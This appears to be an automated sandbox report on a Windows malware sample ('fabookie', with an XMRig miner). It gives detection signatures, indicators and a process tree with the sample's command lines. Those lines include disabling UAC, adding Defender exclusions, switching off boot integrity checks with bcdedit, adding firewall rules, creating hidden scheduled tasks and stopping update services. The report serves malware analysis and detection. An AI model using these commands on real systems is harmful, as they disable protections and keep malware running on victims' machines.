fabookie | 5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe

Windows security bypass 2 TTPs 2 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe = "0"	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Modifies boot configuration data using bcdedit 14 IoCs

pid	Process
1316	bcdedit.exe
2188	bcdedit.exe
2016	bcdedit.exe
1732	bcdedit.exe
2412	bcdedit.exe
1752	bcdedit.exe
2708	bcdedit.exe
520	bcdedit.exe
2500	bcdedit.exe
1736	bcdedit.exe
1632	bcdedit.exe
1012	bcdedit.exe
2932	bcdedit.exe
2176	bcdedit.exe

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral1/memory/2416-611-0x0000000140000000-0x0000000140840000-memory.dmp	xmrig
behavioral1/memory/2416-633-0x0000000140000000-0x0000000140840000-memory.dmp	xmrig

Downloads MZ/PE file

Modifies Windows Firewall 1 TTPs 2 IoCs

evasion

Windows Service

T1543.003

pid	Process
1012	netsh.exe
1988	netsh.exe

Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
evasion

Impair Defenses
T1562

Command and Scripting Interpreter
T1059
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0006000000016d79-206.dat	upx
behavioral1/memory/2028-216-0x0000000000940000-0x0000000000E8D000-memory.dmp	upx
behavioral1/files/0x0006000000016d79-195.dat	upx
behavioral1/files/0x0006000000016d79-203.dat	upx
behavioral1/files/0x0006000000016d79-370.dat	upx
behavioral1/memory/2028-413-0x0000000000940000-0x0000000000E8D000-memory.dmp	upx
behavioral1/files/0x0005000000012193-674.dat	upx

Windows security modification 2 TTPs 3 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe = "0"	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe

Checks whether UAC is enabled 1 TTPs 2 IoCs

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2112 set thread context of 2628	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	32

Launches sc.exe 11 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1292	sc.exe
1928	sc.exe
1732	sc.exe
1160	sc.exe
2532	sc.exe
1632	sc.exe
2400	sc.exe
824	sc.exe
1832	sc.exe
268	sc.exe
2488	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 8 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
2056	schtasks.exe
2244	schtasks.exe
1044	schtasks.exe
1620	schtasks.exe
1568	schtasks.exe
2912	schtasks.exe
2996	schtasks.exe
2468	schtasks.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe
2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe
2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe
2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe
2872	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe
Token: SeDebugPrivilege	2628	CasPol.exe
Token: SeDebugPrivilege	2872	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2112 wrote to memory of 2872	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	28
PID 2112 wrote to memory of 2872	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	28
PID 2112 wrote to memory of 2872	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	28
PID 2112 wrote to memory of 2872	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	28
PID 2112 wrote to memory of 2724	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	31
PID 2112 wrote to memory of 2724	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	31
PID 2112 wrote to memory of 2724	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	31
PID 2112 wrote to memory of 2724	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	31
PID 2112 wrote to memory of 2660	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	30
PID 2112 wrote to memory of 2660	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	30
PID 2112 wrote to memory of 2660	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	30
PID 2112 wrote to memory of 2660	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	30
PID 2112 wrote to memory of 2660	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	30
PID 2112 wrote to memory of 2660	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	30
PID 2112 wrote to memory of 2660	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	30
PID 2112 wrote to memory of 2628	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	32
PID 2112 wrote to memory of 2628	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	32
PID 2112 wrote to memory of 2628	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	32
PID 2112 wrote to memory of 2628	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	32
PID 2112 wrote to memory of 2628	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	32
PID 2112 wrote to memory of 2628	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	32
PID 2112 wrote to memory of 2628	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	32
PID 2112 wrote to memory of 2628	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	32
PID 2112 wrote to memory of 2628	2112	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe	32

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe

C:\Users\Admin\AppData\Local\Temp\NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe
"C:\Users\Admin\AppData\Local\Temp\NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe"
1⤵
- UAC bypass
- Windows security bypass
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2112
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\NEAS.5cfd37f9531d619fab105eb49fb1cd3c9b38adbaab1cd6f7c546b5189f5a4b08exe_JC.exe" -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2872
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
  2⤵
  PID:2660
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\EdmGen.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\EdmGen.exe"
  2⤵
  PID:2724
- C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2628
- - C:\Users\Admin\Pictures\JVCWQstIw44cadV8bJS60RCP.exe
    "C:\Users\Admin\Pictures\JVCWQstIw44cadV8bJS60RCP.exe"
    3⤵
    PID:2892
  - - C:\Users\Admin\Pictures\JVCWQstIw44cadV8bJS60RCP.exe
      "C:\Users\Admin\Pictures\JVCWQstIw44cadV8bJS60RCP.exe"
      4⤵
      PID:2620
- - C:\Users\Admin\Pictures\PTWdf3XUWcjSQWEF4BNvci6u.exe
    "C:\Users\Admin\Pictures\PTWdf3XUWcjSQWEF4BNvci6u.exe" --silent --allusers=0
    3⤵
    PID:2028
- - C:\Users\Admin\Pictures\0FCzfYUr4e3ohZ6BhpSfjsnz.exe
    "C:\Users\Admin\Pictures\0FCzfYUr4e3ohZ6BhpSfjsnz.exe"
    3⤵
    PID:1624
  - - C:\Users\Admin\AppData\Local\Temp\is-B79DS.tmp\is-ETILO.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-B79DS.tmp\is-ETILO.tmp" /SL4 $301BE "C:\Users\Admin\Pictures\0FCzfYUr4e3ohZ6BhpSfjsnz.exe" 2846236 52224
      4⤵
      PID:2976
    - - C:\Windows\SysWOW64\net.exe
        
        "C:\Windows\system32\net.exe" helpmsg 29
        5⤵
        
        PID:2792
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 helpmsg 29
        6⤵
        
        PID:1476
    - - C:\Program Files (x86)\OSNMount\OSNMount.exe
        
        "C:\Program Files (x86)\OSNMount\OSNMount.exe" -i
        5⤵
        
        PID:2812
    - - C:\Program Files (x86)\OSNMount\OSNMount.exe
        
        "C:\Program Files (x86)\OSNMount\OSNMount.exe" -s
        5⤵
        
        PID:3052
- - C:\Users\Admin\Pictures\UFZIn4vmh6DMjXcbkoqqcvoL.exe
    "C:\Users\Admin\Pictures\UFZIn4vmh6DMjXcbkoqqcvoL.exe"
    3⤵
    PID:2912
  - - C:\Users\Admin\Pictures\UFZIn4vmh6DMjXcbkoqqcvoL.exe
      "C:\Users\Admin\Pictures\UFZIn4vmh6DMjXcbkoqqcvoL.exe"
      4⤵
      PID:2436
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:2816
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:1012
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        5⤵
        
        PID:1128
      - C:\Windows\system32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:2244
      - C:\Windows\system32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        6⤵
        
        PID:2132
      - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        
        "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
        6⤵
        
        PID:2184
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1316
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2188
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2016
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1732
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2412
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1752
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2708
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:520
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2500
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1736
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1632
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -timeout 0
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1012
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2932
      - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        6⤵
        
        PID:1104
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\Sysnative\bcdedit.exe /v
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:2176
      - C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
        6⤵
        
        PID:2700
      - C:\Windows\system32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:1568
      - C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        6⤵
        
        PID:2120
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        7⤵
        
        PID:1644
        
        C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        8⤵
        Launches sc.exe
        
        PID:824
      - C:\Users\Admin\AppData\Local\Temp\csrss\f801950a962ddba14caaa44bf084b55c.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\f801950a962ddba14caaa44bf084b55c.exe
        6⤵
        
        PID:1184
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /tn "csrss" /f
        7⤵
        
        PID:280
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /tn "ScheduledUpdate" /f
        7⤵
        
        PID:1748
- - C:\Users\Admin\Pictures\A42NlvCb1QYQ5lfGTJJCvOAa.exe
    "C:\Users\Admin\Pictures\A42NlvCb1QYQ5lfGTJJCvOAa.exe"
    3⤵
    PID:2808
- - C:\Users\Admin\Pictures\Eb0NwM2OQwy8SrSKS3OW09gK.exe
    "C:\Users\Admin\Pictures\Eb0NwM2OQwy8SrSKS3OW09gK.exe"
    3⤵
    PID:2032
  - - C:\Users\Admin\Pictures\Eb0NwM2OQwy8SrSKS3OW09gK.exe
      "C:\Users\Admin\Pictures\Eb0NwM2OQwy8SrSKS3OW09gK.exe"
      4⤵
      PID:1968
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:1168
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:1988
- - C:\Users\Admin\Pictures\4hwmKH6i0etCyzoS33pO4NxL.exe
    "C:\Users\Admin\Pictures\4hwmKH6i0etCyzoS33pO4NxL.exe"
    3⤵
    PID:2864
- - C:\Users\Admin\Pictures\7O8fAU20sqOYQEzFUjAPyRvu.exe
    "C:\Users\Admin\Pictures\7O8fAU20sqOYQEzFUjAPyRvu.exe"
    3⤵
    PID:1516
- - C:\Users\Admin\Pictures\70fySZfNza2wnRA4Bb1fJrLA.exe
    "C:\Users\Admin\Pictures\70fySZfNza2wnRA4Bb1fJrLA.exe"
    3⤵
    PID:2848
  - - C:\Users\Admin\AppData\Local\Temp\7zSA8DD.tmp\Install.exe
      .\Install.exe
      4⤵
      PID:2592
    - - C:\Users\Admin\AppData\Local\Temp\7zSB9DD.tmp\Install.exe
        
        .\Install.exe /DdidCJjeH "385120" /S
        5⤵
        
        PID:2196
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        6⤵
        
        PID:1012
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        7⤵
        
        PID:1292
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        8⤵
        
        PID:2532
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        8⤵
        
        PID:1184
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        6⤵
        
        PID:2972
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        7⤵
        
        PID:1156
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        8⤵
        
        PID:1968
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        8⤵
        
        PID:2500
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "ghLKzPDtB" /SC once /ST 04:37:37 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        6⤵
        Creates scheduled task(s)
        
        PID:2468
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "ghLKzPDtB"
        6⤵
        
        PID:2368
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "ghLKzPDtB"
        6⤵
        
        PID:2576
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bAutabDQFHrvmwrWbf" /SC once /ST 14:08:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\mgmyLlQChgHxZYvqY\rqBhQmxZHCWBdIf\aEedQxU.exe\" F9 /Yosite_idpIV 385120 /S" /V1 /F
        6⤵
        Creates scheduled task(s)
        
        PID:1620

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:1568

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:2556
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1832
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:268
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:2488
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:1928
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:1732

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:2444

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:2916
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:580
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  PID:1784
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:2100
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:2464

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\xyvvnnvseiqa.xml"
1⤵
- Creates scheduled task(s)
PID:2056

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20231006140659.log C:\Windows\Logs\CBS\CbsPersist_20231006140659.cab
1⤵
PID:1848

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:1712
- C:\Windows\system32\gpupdate.exe
  "C:\Windows\system32\gpupdate.exe" /force
  2⤵
  PID:1740

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
PID:1748

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:1820

C:\Windows\system32\taskeng.exe
taskeng.exe {2AFA7E24-E487-4520-ABA3-138F3DAD67B2} S-1-5-21-86725733-3001458681-3405935542-1000:ZWKQHIWB\Admin:Interactive:[1]
1⤵
